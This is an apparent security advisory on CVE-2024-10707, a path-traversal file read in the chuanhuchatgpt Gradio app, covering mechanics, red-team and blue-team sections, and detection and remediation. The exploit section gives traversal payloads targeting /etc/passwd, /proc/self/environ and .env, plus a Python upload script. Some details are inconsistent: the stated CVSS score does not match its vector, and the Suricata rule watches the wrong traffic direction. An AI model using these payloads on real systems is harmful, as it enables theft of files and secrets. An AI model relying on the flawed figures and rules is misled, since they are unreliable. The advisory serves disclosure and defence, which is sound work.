CVE-2024-10707

Executive Summary

CVE-2024-10707 is a Local File Inclusion (LFI) vulnerability affecting the gaizhenbiao/chuanhuchatgpt project at commit d4ec6a3. The vulnerability stems from the use of the Gradio component gr.JSON, which has a known issue (CVE-2024-4941) that allows unauthenticated attackers to read arbitrary files on the server. By uploading a specially crafted JSON file and exploiting improper input validation in the handle_dataset_selection function, an attacker can traverse directories and access sensitive files such as /etc/passwd, application configuration files, or source code. The CVSS score is 6.5 (Medium), with a high confidentiality impact but no impact on integrity or availability. No official patch exists, and the vendor has not responded to disclosure.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is a Python-based application using Gradio. The risk is amplified by the lack of a patch and the use of a known-vulnerable Gradio component (gr.JSON). Organizations using this project should treat it as a supply chain risk due to the unmaintained dependency.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – arbitrary file read.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)
• Threat Level: Medium. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public PoC and lack of patch increase risk.

Deep Dive & Mechanics

The vulnerability is rooted in the handle_dataset_selection function within the chuanhuchatgpt application. This function processes user-uploaded JSON files via the Gradio gr.JSON component. Gradio’s gr.JSON component (CVE-2024-4941) does not properly sanitize file paths embedded in JSON data. An attacker can craft a JSON file containing a path traversal payload (e.g., {"file": "../../etc/passwd"}). When the application reads this JSON and passes the path to file operations without validation, it allows reading arbitrary files on the server.

The attack flow:

1. Attacker uploads a malicious JSON file via the Gradio interface.
2. The handle_dataset_selection function parses the JSON and extracts a file path.
3. The path is used in a file read operation (e.g., open() or Path.read_text()) without sanitization.
4. The attacker receives the file contents in the response.

The vulnerability is exacerbated by the lack of authentication and the use of a known-vulnerable Gradio version.

Vulnerable vs. Patched Code

Vulnerable Code (commit d4ec6a3):

def handle_dataset_selection(json_file):
    data = json.load(json_file)
    file_path = data.get("file")
    # No validation of file_path
    with open(file_path, 'r') as f:
        content = f.read()
    return content

Patched Code (hypothetical):

import os
def handle_dataset_selection(json_file):
    data = json.load(json_file)
    file_path = data.get("file")
    # Validate path is within allowed directory
    allowed_dir = "/app/datasets"
    full_path = os.path.normpath(os.path.join(allowed_dir, file_path))
    if not full_path.startswith(allowed_dir):
        raise ValueError("Invalid file path")
    with open(full_path, 'r') as f:
        content = f.read()
    return content

The patched version uses os.path.normpath and checks that the resolved path starts with an allowed base directory, preventing traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running chuanhuchatgpt at commit d4ec6a3 with Gradio interface exposed.
• No authentication required.

Exploit Steps:

1. Create a malicious JSON file:

   {"file": "../../etc/passwd"}
   

2. Upload the file via the Gradio interface (e.g., using curl or a Python script).
3. Retrieve the contents of /etc/passwd.

Example using Python:

import requests

url = "http://target:7860/upload"
files = {"file": ("exploit.json", '{"file": "../../etc/passwd"}', "application/json")}
response = requests.post(url, files=files)
print(response.text)

Alternative payloads:

• ../../proc/self/environ – environment variables.
• ../../app/config.py – application configuration.
• ../../.env – environment file.

Blue Team

Detection:

• Monitor for file paths containing ../ in uploaded JSON files.
• Alert on file read operations outside expected directories (e.g., /app/datasets).
• Use file integrity monitoring (FIM) to detect access to sensitive files.

Hunting:

• Search logs for handle_dataset_selection calls with suspicious paths.
• Look for repeated attempts to read /etc/passwd or other system files.

Mitigation:

• Apply input validation and path sanitization (see Remediation).
• Restrict file read permissions for the application user.
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Indicators of Compromise (IOCs)

• File paths accessed: /etc/passwd, /etc/shadow, /proc/self/environ, /app/config.py, .env
• Log entries: handle_dataset_selection with paths containing ../
• Network traffic: POST requests to /upload with JSON content containing "file": "../../
• File artifacts: Uploaded JSON files with path traversal payloads.

Detection Engineering

YARA Rule

rule CVE_2024_10707_LFI {
    meta:
        description = "Detects malicious JSON files exploiting CVE-2024-10707"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10707"
    strings:
        $json_payload = /"file"\s*:\s*"[^"]*\.\.\// nocase
    condition:
        $json_payload
}

Sigma Rule

title: CVE-2024-10707 Local File Inclusion via Gradio
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in chuanhuchatgpt handle_dataset_selection
author: Valters IT
logsource:
    category: application
    product: chuanhuchatgpt
detection:
    selection:
        EventID: 1001  # Example event ID for file access
        FilePath|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of relative paths within allowed directory
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10707 LFI Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"\"file\": \"../../"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required.
2. Apply input validation – sanitize file paths to prevent traversal (see patched code).
3. Upgrade Gradio to a version not affected by CVE-2024-4941 (>= 4.36.1).
4. Restrict file permissions – run the application with minimal privileges.
5. Use a WAF to block path traversal patterns.

Long-term:

• Monitor for official patches from the vendor.
• Consider migrating to a maintained alternative.
• Implement file access controls (e.g., chroot, container isolation).

Workaround:

• Modify the handle_dataset_selection function to only allow files from a specific directory (e.g., /app/datasets).

Valters IT
Securing Digital Frontiers